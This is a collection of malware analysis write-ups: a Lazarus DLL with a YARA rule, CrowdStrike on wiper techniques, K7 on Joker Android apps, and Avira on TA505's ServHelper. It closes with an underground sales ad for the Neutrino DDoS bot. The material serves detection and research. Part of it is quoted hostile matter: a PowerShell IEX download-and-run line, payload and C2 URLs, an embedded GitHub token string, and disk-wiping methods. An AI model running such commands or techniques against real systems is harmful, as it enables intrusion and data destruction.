in MPLog, but in addition to the possible detection areas identified by CrowdStrike, the below event is also worth mentioning. The BM or Behavior Monitoring telemetry captures suspicious activity on workstations for additional analysis. Your environment may vary, but the only time a BM event was initiated in my lab was when the LNK was run. This is out of the scope of this blog, but forwarding some of the more useful MPLog events to a SIEM could likely be a useful addition to identifying compromise on a system. Enough of Sysmon and logs, let’s take a look at the DLL file. Using Mandiant’s capa tool, we can get a quick overview of the capabilities of the DLL. In the output, capa confirms what we already know, that the DLL file contains an embedded PE file and installs an additional program. ## Interesting Strings - `{"message":"Commit changed details","content":"Q29tcGxldGVkIHN1Y2Nlc3NmdWxseQ=="}` - `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36` - `Accept: application/vnd.github.v3+json` - `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` - `api.github.com` - `metafiles/tmp%.4d%.2d%.2d%.2d%.2d%.2d.txt` I think this is probably a good place to stop my analysis to avoid going deeper down a rabbit hole. Hope you enjoyed reading! ## More Info **Yara Rule** ```yara rule APT_LAZARUS_WINUPDATE_DLL { meta: description = "Detect malicious DLL executed via the Windows Update Client." author = "Michael Rippey" date = "2022-02-06" hash = "829eceee720b0a3e505efbd3262c387b92abdf46183d51a50489e2b157dac3b1" strings: $n1 = "api.github.com" fullword ascii $n2 = "repos/%s/%s/contents/%s" fullword ascii $n3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" fullword ascii $n4 = "metafiles/tmp%.4d%.2d%.2d%.2d%.2d%.2d.txt" fullword ascii $e1 = "{\"message\":\"Commit changed details\",\"content\":\"Q29tcGxldGVkIHN1Y2Nlc3NmdWxseQ==\"}" fullword ascii $e2 = "CreateRemoteThreNtProtectVirtualWriteProcessMemoRtlCreateUserThr" fullword ascii $e3 = "omni callsig" fullword ascii $e4 = " Type Descriptor'" fullword ascii $e5 = "$Sectigo Public Code Signing Root R460" fullword ascii $e6 = "Sleef" fullword ascii condition: uint16(0) == 0x5A4D and (any of ($n*) or 3 of ($e*)) and filesize < 228KB } ```
# The Anatomy of Wiper Malware, Part 1: Common Techniques **Ioan Iacob - Iulian Madalin Ionita** August 12, 2022 This blog post is the first in a four-part series in which CrowdStrike’s Endpoint Protection Content Research Team will dive into various wipers discovered by the security community over the past 10 years. Our goal is to review in depth the various techniques employed by wipers that target the Windows operating system. ## Background A wiper is a type of malware with a single purpose: to erase user data beyond recoverability. Wipers are used to destroy computer networks in public or private companies ranging from industrial to entertainment sectors. Threat actors also use wipers to cover up traces left after an intrusion, weakening their victim’s ability to respond. Wipers gained popularity back in 2012, when Saudi Arabia’s Saudi Aramco and Qatar’s RasGas oil companies were targeted by threat actors using the Shamoon family of wipers. After four years in which little to no wiper activity was observed, the Shamoon wiper resurfaced in 2016 with threat actors having the same goals and targets in mind. The year 2017 put multiple wiper families on our radar. A wiper variant of Petya was used to target multiple institutions in Ukraine, Russia, and western Europe. Institutions in Israel and Germany faced the wipers named SQLShred and Ordinypt, respectively, which masqueraded as ransomware. Middle Eastern companies again found themselves the target of a wiper, this time one named StoneDrill. Little wiper activity was observed in the following three years. In 2018, South Korea was the host of the Olympic games that were targeted by threat actors using Olympic Destroyer. In late 2019 and early 2020, Dustman and ZeroCleare were used to target organizations in the energy and industrial sectors from the Middle East. In 2021, threat actors again targeted the Olympics, now hosted in Tokyo, with a wiper named Tokyo Olympic Wiper. In the same year, a pro-Palestinian wiper dubbed IsraBye was used to target Israeli organizations. Already, 2022 has been the most active year yet for wipers. Ukraine, while fighting Russian forces in traditional warfare, has seen its government institutions targeted by numerous cyberattacks using the wipers CaddyWiper, DoubleZero, DriveSlayer, IsaacWiper, KillDisk, and WhisperGate. ## Techniques Over the years, threat actors have used different strategies to achieve their objectives. During that time, we’ve studied different adversary strategies that use wipers singularly or in combination with other destructive techniques. While quick and easy techniques can also have quick and easy countermeasures, the more advanced and lengthy ones may give victims a chance to react in time but usually not without difficulty. Ransomware and wipers share some techniques. Both walk the disk in search of files to modify or corrupt, and both are capable of making data recovery impossible for the victim. But in this latter aspect lies one of the biggest differences between the two threats: ransomware typically enables file restoration for victims who pay the ransom, whereas the objective of wipers is to destroy files beyond recoverability. Another difference is in performance; because wipers need not read the data from disk, they work faster and require fewer resources than ransomware. One of the easiest techniques we’ve found in the analyzed wiper samples is to merely delete the files on disk. Yet this technique could allow forensics examiners to recover the files by carving them out from the raw disk. Because standard deletion is not a secure method, threat actors have resorted to overwriting target files with bogus data. To increase the speed of the operation, some wipers overwrite only the first part of the target file, while others resort to wiping the Master Boot Record (MBR). As we’ll discuss, these techniques vary in their unique advantages and weaknesses, as well as in the degrees of recoverability of destroyed data. Each of these techniques demands a different course of action to properly detect and respond to the various threats posed by destructive wiper malware families. ## File Discovery In search of files to destroy or corrupt, most wipers recursively iterate through the file system by using Windows APIs like FindFirstFile and FindNextFile. While some wipers immediately overwrite their targets, Apostle, DoubleZero, SQLShred, and WhisperGate construct a list of target files to be later processed by the wiping routine. This introduces a bit of overhead before the destructive functionalities are launched, buying the victim time to react. Wipers are implemented to do as much damage as possible without crashing the operating system. During the file discovery operation, many wipers will implement different strategies to maintain the stability of the operating system. If critical files are overwritten, the machine will crash and the wiper may not achieve the desired outcome. In order to prolong the life of the machine, wipers can delay, skip, or prioritize certain targets: - CaddyWiper, DoubleZero, IsaacWiper, SQLShred, and StoneDrill start the wiping routine with non-OS related drives (including mounted network shares) and directories. - DoubleZero, CaddyWiper, KillDisk, SQLShred, and StoneDrill will skip certain directories (e.g., Windows, Program Files, ProgramData or others) from the wiper routine or delay their destruction at a later time of execution. - KillDisk and WhisperGate skip certain file extensions like DLL, EXE, LIB, SYS. - Ordinypt uses a list of targeted extensions similar to ransomware. - CaddyWiper and SQLShred — if the configuration sets disk destruction — have been observed to first destroy target files and then destroy physical drives or disk volumes. ## File Overwrite When it comes to overwriting files, wipers implement different techniques that achieve the same purpose. While some techniques are fairly common, others implement unique methods. ### File System API The standard method to overwrite a file is by using the CreateFile and WriteFile API combination. The first is used to grab a handle to the desired file and the second is used to overwrite the file contents with new data. This basic technique has been seen in multiple wiper families like CaddyWiper, DoubleZero, IsaacWiper, KillDisk, Meteor (including Stardust and Comet variants), Petya wiper, Shamoon, SQLShred, StoneDrill, and WhisperGate. Some wipers overwrite the entire file — a computationally costly operation — while others only overwrite a fixed number of bytes. In Figure 2, Destover overwrites the entire file by determining its size via GetFileSize, allocates memory of the same size, excludes files based on their extension, and overwrites the file using WriteFile. ### File IOCTL While the previous method was the most common among the researched samples, DoubleZero implements a second mechanism for overwriting files. In order to overwrite the entire file with zeros, this wiper uses the NtFsControlFile API to send the FSCTL_SET_ZERO_DATA control code to the file system driver along with the size of the file to be overwritten. ### File Deletion When the operating system deletes a file from disk, the corresponding sectors are not overwritten with “null” data; they are only marked as unused. This indicates that the raw sectors are free to use when other files are created. Ordinypt, Olympic wiper, and Apostle wipers implement simple file deletion, where files are only deleted, not overwritten. In this case, the data can still be recovered from the disk via file carving techniques used in digital forensics. To make the files unrecoverable, secure file deletion needs to be implemented and it requires the files to be overwritten before they are deleted from the disk. Most wipers do not need to delete the files because their contents have been destroyed, but some implement file deletion. This is the case of Destover, KillDisk, Meteor (Stardust/Comet), Shamoon, SQLShred, and StoneDrill which overwrite the target files with random bytes. Only after replacing the file contents, the file is deleted from disk via the DeleteFile API. The following code snippet displays an implementation of File Deletion and File Overwrite found in the Shamoon wiper. Although families like Apostle and Ordinypt do not implement a secure deletion, they are still considered destructive because file carving is not a perfect recovery technique. ## Drive Destruction Some wipers go one step further and attempt to destroy the contents of the disk itself, not just files. This approach provides several advantages to attackers and makes recovery more difficult, if not impossible. Because files may be fragmented across the disk, wiping the files will require the hard disk drive actuator arm to commute to multiple locations, thus decreasing wiping speeds. Overwriting the raw sectors in successive order is advantageous because it drastically increases the speed of the wiping operation. This also applies to modern solid state drives where sequential access is still more performant than random access. Wiping raw sectors also removes any file system information like partitioning tables, journaling, parity data, metadata, and even OS protected files. These operations are equivalent to raw full-disk formatting, ensuring that files cannot be recovered via any forensic methods. ### Disk Write Similar to the way files can be overwritten, IsaacWiper, KillDisk, Petya wiper variant, SQLShred, StoneDrill, WhisperGate, and DriveSlayer use the same CreateFile and WriteFile APIs to overwrite physical disks (\\.\PhysicalDisk0) and/or volumes (\\.\c:) with either random or predefined bytes buffers. “PhysicalDisk0” is used to access the first sector of a disk, where the Master Boot Record (MBR) is stored, while “\\.\C:” will allow the wiper to reference the first sector of the partition. The code snippet displays an implementation found in various wipers to delete the MBR by directly accessing the disk. The MBR is a structure that resides in the first sector of the disk and holds information about how the disk is formatted into one or multiple partitions. Deleting this structure removes information about the partitions making the system unbootable and also the files present in the partitions inaccessible. ### Disk Drive IOCTL Instead of using the WriteFile APIs for overwriting the physical disk, CaddyWiper wipes the disk by sending it an Input/Output Control (IOCTL) code. The IOCTL_DISK_SET_DRIVE_LAYOUT_EX IOCTL is sent via the DeviceIoControl API alongside a buffer filled with zeros in order to wipe information about drive partitions including MBR and/or GUID Partition Table (GPT). The code snippet below displays the implementation found in CaddyWiper. ## File Contents As discussed previously, wipers may implement destructive actions on the contents of the file to reduce chances of recovery. We observed multiple approaches when deciding the data to be written over the target files. Some samples overwrite the files with the same data across the entire length, others randomize the contents, while others write predefined buffers to the target files. ### Overwrite with Same Byte Value A simple method is to write the same byte over the entire file contents. Wiper families like CaddyWiper, DoubleZero, KillDisk, Meteor (with its Stardust/Comet variants), and SQLShred implement this technique. This method does not add any overhead to the wiping process but might leave an opportunity to recover the data via magnetic-force microscopy. ### Overwrite with Random Bytes To avoid any potential weakness of the previous method, threat actors can decide to generate random data to be used while overwriting files. Even some forensic tools implement secure wiping by overwriting the disk or file multiple times with random data, leaving no chance for magnetic-force microscopy to recover the data. Oftentimes the random buffer is generated via the seed and rand functions, followed by a write to the file. Generating random data adds overhead, thus lengthening the wiping times. Destover, IsaacWiper, KillDisk, SQLShred, and StoneDrill are a few examples of wipers that overwrite target files with random data. IsaacWiper implements its own pseudorandom number generator to fill a memory buffer, an implementation of Mersenne Twister PRNG. In Figure 6, Destover takes advantage of a caveat in the malloc function to generate “random” data. Malloc will allocate a memory buffer, but it will contain residual data from previous usage of that memory page that is then written over the entire length of the file. ### Overwrite with Predefined Data The final method to discuss is the use of hard coded data to overwrite files. This method eliminates the overhead introduced by generating random bytes, thus increasing the speed of data destruction. Shamoon overwrites files with a predefined jpeg image that is hardcoded and obfuscated in the wiper binary. It uses the WriteFile API to write the image; the header of the jpeg is seen in the memory view in the second half of the screenshot. In contrast, the wiper IsraBye writes only a message to the file contents, and it does not overwrite every byte in the file content, leaving some data available for forensics analysts to extract. However, even though it is not as destructive as others, this wiper is able to overwrite the file header, reducing the possibility of data carving or recovery. ## How the CrowdStrike Falcon Platform Protects Customers Against Wipers The CrowdStrike Falcon platform takes a layered approach to protect workloads. Using on-sensor and cloud-based machine learning, behavior-based detection using indicators of attack (IOAs), and intelligence related to tactics, techniques, and procedures (TTPs) employed by threat actors, the Falcon platform equips users with visibility, threat detection, automated protection, and continuous monitoring to rapidly detect and mitigate threats in any environment. ## Summary Depending on the skill set of different threat actors, wipers have implemented different techniques in order to sabotage the operations of their targets. Most often, wipers use file system specific APIs to iterate through files and overwrite and delete as many as possible. Some wipers don’t target only the files from the victim’s machine, but may also target the raw disk. This latter technique provides several advantages like increased wiping speeds, for example. Also, it may bypass security measures implemented by the file system or operating system and may even be invisible to security products. To further increase the speed of the operations, some wipers do not overwrite the entire length of the target data, but only parts of it enough to make the files unrecoverable. To increase the destruction capability, randomizing the contents overwritten to the files seems like a good approach, but it becomes a time-intensive task. An interesting and time-efficient approach seen in some wipers is the usage of malloc to use garbage data to overwrite the target. In part two of this wiper series, we will dive into how wipers use legitimate third-party drivers to destroy files as well as disk clusters. ## Hashes **Wiper name** | **SHA256 hash value** Apostle | 6fb07a9855edc862e59145aed973de9d459a6f45f17a8e779b95d4c55502dcce | 19dbed996b1a814658bef433bad62b03e5c59c2bf2351b793d1a5d4a5216d27e CaddyWiper | a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea Destover | e2ecec43da974db02f624ecadc94baf1d21fd1a5c4990c15863bb9929f781a0a DoubleZero | 3b2e708eaa4744c76a633391cf2c983f4a098b46436525619e5ea44e105355fe | 30b3cbe8817ed75d8221059e4be35d5624bd6b5dc921d4991a7adc4c3eb5de4a DriveSlayer | 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da | 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 | a259e9b0acf375a8bef8dbc27a8a1996ee02a56889cba07ef58c49185ab033ec Dustman | f07b0c79a8c88a5760847226af277cf34ab5508394a58820db4db5a8d0340fc7 IsaacWiper | 13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033 | 7bcd4ec18fc4a56db30e0aaebd44e2988f98f7b5d8c14f6689f650b4f11e16c0 IsraBye | 5a209e40e0659b40d3d20899c00757fa33dc00ddcac38a3c8df004ab9051de0d KillDisk | 8a81a1d0fae933862b51f63064069aa5af3854763f5edc29c997964de5e284e5 | 1a09b182c63207aa6988b064ec0ee811c173724c33cf6dfe36437427a5c23446 Meteor and Comet/Stardust | 2aa6e42cb33ec3c132ffce425a92dfdb5e29d8ac112631aec068c8a78314d49b | d71cc6337efb5cbbb400d57c8fdeb48d7af12a292fa87a55e8705d18b09f516e | 6709d332fbd5cde1d8e5b0373b6ff70c85fee73bd911ab3f1232bb5db9242dd4 | 9b0f724459637cec5e9576c8332bca16abda6ac3fbbde6f7956bc3a97a423473 Ordinypt | 085256b114079911b64f5826165f85a28a2a4ddc2ce0d935fa8545651ce5ab09 Petya | 0f732bc1ed57a052fecd19ad98428eb8cc42e6a53af86d465b004994342a2366 | fd67136d8138fb71c8e9677f75e8b02f6734d72f66b065fc609ae2b3180a1cbf | 4c1dc737915d76b7ce579abddaba74ead6fdb5b519a1ea45308b8c49b950655c Shamoon | e2ecec43da974db02f624ecadc94baf1d21fd1a5c4990c15863bb9929f781a0a | c7fc1f9c2bed748b50a599ee2fa609eb7c9ddaeb9cd16633ba0d10cf66891d8a | 7dad0b3b3b7dd72490d3f56f0a0b1403844bb05ce2499ef98a28684fbccc07b4 | 8e9681d9dbfb4c564c44e3315c8efb7f7d6919aa28fcf967750a03875e216c79 | f9d94c5de86aa170384f1e2e71d95ec373536899cb7985633d3ecfdb67af0f72 | 4f02a9fcd2deb3936ede8ff009bd08662bdb1f365c0f4a78b3757a98c2f40400 SQLShred/Agrius | 18c92f23b646eb85d67a890296000212091f930b1fe9e92033f123be3581a90f | e37bfad12d44a247ac99fdf30f5ac40a0448a097e36f3dbba532688b5678ad13 StoneDrill | 62aabce7a5741a9270cddac49cd1d715305c1d0505e620bbeaec6ff9b6fd0260 | 2bab3716a1f19879ca2e6d98c518debb107e0ed8e1534241f7769193807aac83 | bf79622491dc5d572b4cfb7feced055120138df94ffd2b48ca629bb0a77514cc Tokyo Olympic wiper | fb80dab592c5b2a1dcaaf69981c6d4ee7dbf6c1f25247e2ab648d4d0dc115a97 | c58940e47f74769b425de431fd74357c8de0cf9f979d82d37cdcf42fcaaeac32 WhisperGate | a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92 | 44ffe353e01d6b894dc7ebe686791aa87fc9c7fd88535acc274f61c2cf74f5b8 | dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78 ZeroCleare | becb74a8a71a324c78625aa589e77631633d0f15af1473dfe34eca06e7ec6b86
# Joker Unleashes Itself Again on Google Play Store By Baran S September 17, 2021 Joker malware on Google Play Store continues to scare Android users. Its variants continue to find new tricks and tactics to stay undetected by doing small changes in its code or changing the payload download techniques. The following Joker samples were discovered recently on Google Play Store which have now been removed: - All Document Scanner - Color Call Flash - Call Screen - Clean Wallpaper - Free BP Recorder - Free Chat SMS - Free Document Scanner - Free Super Scanner - Free Writing Message - Free Secret Message - PDF Scanner Master - Time Zone Camera - Text Emoji Messages - Teddy love wallpapers - Unique Heart Rate Monitor ## Technical Analysis In this blog, we will be analyzing the new Joker sample `com.camera.phototimezonecamera`. It is clear that this new piece of Joker has adapted to multistage dex file loading; as the class name of a service declared in the AndroidManifest.xml file is not defined in the classes.dex in the APK’s root folder. This technique has not been seen in any of the previous Joker malware samples. This means that the class not mentioned in the classes.dex would be loaded in memory at run-time using any one of the dynamic loading techniques. Once launched, the malicious Android Package (APK) retrieves first level malicious payload, “a”, a .jar file (containing the payload dex) from `grouplearn[.shop`, which enables the parent malware with additional malevolent capabilities. This first level payload has a base64 encoded URL to download the next payload. The second payload, “w.iov”, again a .jar file, downloaded from `implemente[.life`, has the class reference of “okhttp3.service” class from the AndroidManifest.xml of `com.camera.phototimezonecamera`. This Joker sample attempts to intercept incoming SMS messages and subscribe to the paid premium services. ## Mitigations - Always use the Official App Store to download apps - Carefully read the user reviews before installing the apps - Ensure you protect your device and data by using a reputable security product like K7 Mobile Security and keeping it up-to-date, to scan all the downloaded apps, irrespective of the source At K7 Labs, we are constantly protecting our users with near real-time monitoring of Joker malware. ## Indicators of Compromise (IoCs) | Infected Package Name on Google Play Store | Hash | Detection Name | |---------------------------------------------|----------------------------------------|---------------------| | com.callphone.spashthemes | EFB5D28977819F9C0CA0AC797D798136 | Trojan (0001140e1) | | com.camera.phototimezonecamera | DEA4B4BBB25F7474D450B921871FF693 | Trojan (0001140e1) | | com.camerauniquemonitor.heartkeep | BCE3E7080721B2615D355C4EE91C07CC | Trojan (0001140e1) | | com.country.landscape.wallpaper | 0E5559546C2C01AF8326600C8DD7D7C8 | Trojan (00580dec1) | | com.humble.wallpapers | E6CC00167761395BEF0FD2800CD66306 | Trojan (0058134e1) | | com.maccode.qrs.app | 3E9858CA09CF039C54276529C9A790AE | Trojan (0058134d1) | | com.msc.docscanner | DFDFC5A14A1D8C34A6EBF8D882334B2E | Trojan (0001140e1) | | com.mysdkdialy.bpanaysis | E1756D7D7905B362B3D6431F61527DE9 | Trojan (0001140e1) | | com.PhotoMessage | E1D05485913D4E7BF444A0492015D0DA | Trojan (0058134b1) | | com.smartful.companynowmessages.digitalesms | FB584881E0CE6A643B12F5BA660EFC77 | Trojan (0001140e1) | | com.superjiu.camerascanner | AE4045B3231217ED61297F1DE6966BAE | Trojan (0001140e1) | | qrmatadata.scannerfreeused | A5E6D4F943E6B039F2E5099243585778 | Trojan (005812df1) | | sticker.mackercreator.wonderful | D26ACC188894892F354F0A9DFBC0C163 | Trojan (0001140e1) | ## Payload URLs - fenglintechnology-app01[.oss-me-east-1.aliyuncs.com - implemente[.life - grouplearn[.shop - puerassist[.club
# TA505 Targets the Americas in a New Campaign In late September 2020, researchers at Avira Protection Labs identified a Powershell script originating from the TA505 APT group. This new campaign specifically targets the Americas. In this blog, Anatoly Kazantsev, a specialist threat researcher at Avira Protection Labs, takes a deep dive into the recently found TA505 APT samples and analyzes the infection cycle. Over the last few years, TA505 has been identified as the group guilty of spreading malware by carrying out massive malicious spam campaigns. They are the threat actors behind the Dridex banking trojan and Locky, Philadelphia, and GlobeImposter ransomware families. Interestingly, TA505 continuously evolves their attacks looking to avoid detection. Slight alterations within their campaigns allow them to observe security vendors’ detection capabilities. ## Script Analysis We start our analysis of TA505’s new campaign using a sample with the SHA256 hash: `54acc99a1c3cd07cc6ece6f86795e5a19194957c11c634a5f0ea1fc52e3d08f3` We observed that the first submission of the script dropper `5e212c0596f2713b44141fa6f3d563cecd5cfdabcdd5b64b3d573b28012b9bed` to VirusTotal was made from Canada. In 2019, we saw a similar campaign that was covered by other security companies such as Positive Technologies, Proofpoint, Trendmicro, and Blueliv. Since then, the payload versions of the APT group have changed to avoid detection. In August 2020, we observed cases submitted from Argentina. Below are the droppers that we observed in the previous campaign: At present, droppers are mostly submitted from the United States and Canada. A quick review of the dropper behavior: The main difference is the Powershell script content that is split up to `get-points.ps1` and `eula_part.*.txt`. Earlier, the Powershell script contained all the payload data (we observed “imports.ps1” previously). ### start.vbs file content: `uninst.exe` is renamed `wscript.exe` with a stripped digital signature – a standard Microsoft Windows utility to deal with Visual Basic scripts. ### get-points.ps1 Powershell script The original script is obfuscated and uses TripleDES in CBC mode to decrypt the next Powershell stage. After deobfuscation and decrypting, we can see the most exciting part – Base64 encoded strings which contain GZipped x64-binary payloads and configuration file. We will not dive deep into the script details in the article. Just describe the main steps that the script does: - Drop files on a disk: - `%SystemRoot%\Branding\mediasrv.png` - `%SystemRoot%\Branding\mediasvc.png` - `%SystemRoot%\Branding\wupsvc.jpg` - `%SystemRoot%\system32\rdpclip.exe` - `%SystemRoot%\system32\rfxvmt.dll` - `%Temp%\rpds.reg` - Escalate privileges using the SilentCleanup technique - Install, setup, and launch a new “TermService” service - Add Network Service (S-1-5-20) account to Administrators (S-1-5-32-544) group - Set up RDP TCP port from standard 3398 to 7201 - Add Windows Defender exclusions A quick overview of the overall process: First, `get-points.ps1` prepares the Windows registry with `rpds.reg`. After that, the script sets the ServiceDLL parameter to `mediasrv.png` full path and launches the TermService and RDP services. It’s a good indicator if some service in your system has a ServiceDLL path tuned to a PNG picture. `mediasrv.png` is not a picture. It’s an x64 service DLL packed with UPX. After exploring the DLL, we realized that this is an open-source RDP Wrapper Library. Its code is available on GitHub. But there are some interesting changes at the ServiceMain function – executable code which loads another DLL `mediasvc.png`. Strings were obfuscated with a simple XOR operation. Using the IDAPython script, we deobfuscated them and placed them as commentaries in the IDA Pro listing. File `wupsvc.jpg` is just a configuration file for the RDP Wrapper Library. Thus, using RDP Wrapper Library and TermService allows malware authors to provide persistence and additional RDP features. `rfxvmt.dll` is a standard Windows “Microsoft RemoteFX VM transport” library and is needed to solve an issue with Windows 10 Home. `rdpclip.exe` is also a Microsoft Windows utility (unsigned in this case), allowing users to copy/paste files and data between server and client. ### mediasvc.png library Now it’s time to focus on the primary payload – a backdoor called ServHelper. `mediasvc.png` is an x64 DLL written in Delphi and packed with UPX. DLL strings obfuscated using Vigenère cipher and were easily deobfuscated with IDAPython script. The backdoor has rich functionality, most of which has been described earlier by other security companies. For example, the backdoor allows SSH tunneling using OpenSSH-Win32. Command info gathers system information, including network connection speed. For this purpose, malware utilizes a legitimate Powershell script from GitHub. The encoded command contains: `IEX (New-Object Net.Webclient).downloadstring(“https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1”)` ### C&C communication Now, let’s take a look at the malware network communication. The malware uses HTTPS and obfuscates data to send in a POST request: C&C `hxxps://enroter1984.cn/bif/b.php`. The `sysid` field contains obfuscated campaign date/ID, general system information, username, new RDP-user data, and random ID: `sep27;Windows 10 (Version 10.0, Build 18362, 64-bit Edition);x64;ivan.ivanov;nouser;winacc:updwin;op1JUhTe;31337` In the previously publicly described campaigns, malware authors didn’t use obfuscation for these fields. Therefore, we can conclude that the threat actors regularly update their product to evade detections. It’s worth noting an exciting part of the `sysid` field in campaign ID (sep27): earlier, we saw samples with aug18, aug5. ## Conclusion We believe that the TA505 group is experimenting with different techniques and tools in various regions of the world. They are persistent, and in the future, we expect to see new campaigns. It’s quite clear from our analysis that malware authors have started using legitimate tools in their attacks, changing them from time to time. This makes such attacks challenging to handle. Hence, having the highest quality prevention and detection tools is essential to every company involved in cyber-security. Avira Protection Labs actively hunt, gather threat intelligence, and monitor such new APT group campaigns to provide timely detection and protection. Integrating Avira’s anti-malware technologies and threat intelligence will help protect customers from such attacks. ## IOCs ### NSIS Droppers - `5e212c0596f2713b44141fa6f3d563cecd5cfdabcdd5b64b3d573b28012b9bed` - `12fcd1479e8a25ebc58c60b7d86f6d84925ebff076a2f4c0bd41becf6540346f` - `28f7b949d06fcd1b01e5667f338659b744451a48c027f1b4a46ae2bc26f8f155` - `40c997e8d799f10115ae08bc20f07222da288f73bfae47b0e228526d559c1237` - `647df9281a9416d4518c124f593e8172e588074b24b25c3b182e1715f36d6b2e` - `15327ea9f172f0a7b14cad80a28bcd05d639b8f1692293fb27dfd55e78b43c69` - `387151d711382e2ded59ac5cce82704f31b699a0a8edc3b0b9c43373f9102f60` - `aa1bd5df2313c90588d3b9ce7277ebd3d968b9adf2f8cefc63bddea2fb5d8a8d` - `c23af64faf1de87e21599b5b91c5cd8331274f0991df06ca28ea8b2af882b718` - `d945948b8d96cd7a869488d04b54c96a61ead473068fab77ed3b32ae38e152d0` - `db2957a62f4081b740d2044d5b8b20176e97fc4feee91bdb1f0d3b233f0cbde2` - `decab6a493554343028a55520afbdb9781738735a38610839c60b9b89f9e7bc3` - `e353951c92faae1f454f636e7f85cd8dd20fe1f3db2be3c0eb3563ea318b80ce` - `ec20503b8d898dbb5386abef1f04af9a673071d4d81b5dfaf9cce08df3f47501` ### Powershell scripts - `1b011dfa007006b77a16d4bf8a2c20fa3118c3e11f72ab8dec4ac09370b2598c` - `2ead362fd6e04c8bbe0a70ed3352308e4b5ec6146e98a433357390b25159a7b6` - `2fd3b4665cd9703d29c1d5962bfd5ffb50c6978acf99d14bfc63c9e0e0cc8c02` - `9bdc767ff72b642c010f6e2e25691797376bb93de2b4095351f295077872e02b` - `13c6282241ada0629abfc3f29964aed31026c394ef715b60038851d5f910ca82` - `72ef7a508a49bab23aa466e5dab80039d75a42a1ffb814321e961be490931642` - `74dd7249e1ef27e48d7b49ad8ec580c804412290b250fda5c7c565bf69c61ac7` - `90c07ffc76c4d06ac66729f5a62fa234b9a110be2a6c27a090a0774fd06f14e6` - `365a0d0de60b1a56980ac9a94221096d00c4b388fcf3cee6b0ba98dfdb289089` - `559e9c0238fb5802a3681821b065a4d6e38e1558cbb6b6c486043ef9a5be52ff` - `765d659de7ea750d1610e4df04cc2ec54a6728472eff583074900503d95c0e08` - `833ca3b9248ff9c2166e3c6f11bd5c2635f4b3da4a0780c6308a593840b4c6e2` - `4954f81bb16dd1b91648a0b45e8696f375001f13d64cbed0cc87c0f390cebf22` - `32828c0502f9d8b2f7fa8402e6f4f2f463d7b25636f5c87702898d1ffd0574c2` - `178008285b115dde8a6da7acf736b8bb2d4e88d5d36a632d704ecac10993ddd3` - `8024970091194df5681b2e6982b4d921f66c2c37f5fc7c822ede0239f0173078` - `a2e455c7d26ab747f699a718529b05818743280cdc9c6dded2c811127a6b32a3` - `a71c0e7f673ce5e786f6dfc10ad7f3f10e39bdce2a3d14102b1f91db82d527d6` - `b4e4692207c93aa12b220ffb5e63a249a48bb167a2f3aeff265e91c4b6336d3f` - `bc6700cc952c79281c432c16ad25d259cf9e586d212325059ae8ee7321732d59` - `de9f92deaa968ceebf9c42d4961388ee5e5fbf1c7fb9020968fe9f50afabcdc5` - `e36bbe8b14612735b39ee654f36b7bdbf71895d635699b02118ea318c375ecb1` - `e5389c68852629b7cf916867fdbdaf22675d2cf995debe6337a18a0124ed0854` ### URLs - `hxxp://93.157.63.48/pop.exe` - `hxxp://185.163.47.177/unsigned.exe` - `hxxp://95.216.212.35/googlemap.exe` - `hxxp://135.181.43.48/googlemap.exe` - `hxxp://135.181.87.102/googlemap.exe` - `hxxp://93.157.63.29/sec.exe` - `hxxp://93.157.63.29/scm.exe` - `hxxp://alana.jobs/wp-content/unsigned.exe` - `hxxp://93.157.62.61/sem.exe` - `hxxp://93.157.62.61/sema.exe` - `hxxp://jopanovigod.xyz/f8h7ghd8gd8/index.php` - `hxxp://bromide.xyz/ssh.zip` - `hxxp://sdsddgu.xyz/khkhkt` - `hxxps://canttouchtthis.cn/contact/b.php` - `asugahwy31.xyz` - `asfgu3ha84vzg.cn` - `hxxps://enroter1984.cn/bif/b.php` - `enroter1984.xyz` - `teahgiaj3ig.cn` - `neboley.cn`
# Neutrino Bot (aka MS:Win32/Kasidet) Advertised on underground by n3utrino since December 2013, Neutrino Bot is another "HTTP stress testing tool," read DDoS Bot. ## Main Functional - HTTP(S) flood (methods GET/POST) - AntiDDOS flood (Emulation js/cookies) - Slowloris flood - Download flood - TCP flood - UDP flood - Loader (exe, dll, vbs, bat ... + can specify parameters for running the file) - Keylogger (Multilanguage) (support for virtual keyboards, removal of screenshots in the clique size 60x60, possibility to monitor the specified window) - Command shell (remote command execution using shell windows) - Stealing files by mask (e.g., bitcoin wallets) - Launch the browser with one of these links (aka Cheaters views) - Spoofing Hosts - Stilling Win keys - Reproduction (USB/Archive) - Purity downloads (number found "neighbors" on the computer) - Identifying the installed AV (on all Windows except Server) - Update - Work through the gasket ## Additional Features - Anti debugging - AntiVM - Detect sandboxes - Detect all online services automatic analysis - BotKiller - Bot protection (protection process/file/registry branches) - Unlimited number of concurrent commands (Some commands have a higher priority than others, and their execution stops others) - Unlimited number of backup domains - Quiet operation even under a limited account - Does not load the CPU ## Functional Admin - Flexible system for creating jobs - Detailed statistics for bots - Ability to give commands to each country separately or bot - Customizable timeout for bots - Sort bots in statistics by IP/Online/Country/OS - System of bans ## Specifications - Weight of uncompressed binary file ~ 50kb (Language - C) - Bot tested on the entire line of Windows, from XP to 8.1 (x32/64) ## Pricing - Full set (admin panel + bot + build on unlimited number of domains) - $200 - Rebuild (also unlimited number of domains) - $10 - Update (functional) - $20 - Builder - $550 - Payment - WM/BTC/Perfect - Binary licensed, leaks result in loss of support. ## Contact PM or [email protected] / [email protected] ## Note The bot has no relation to the same name.
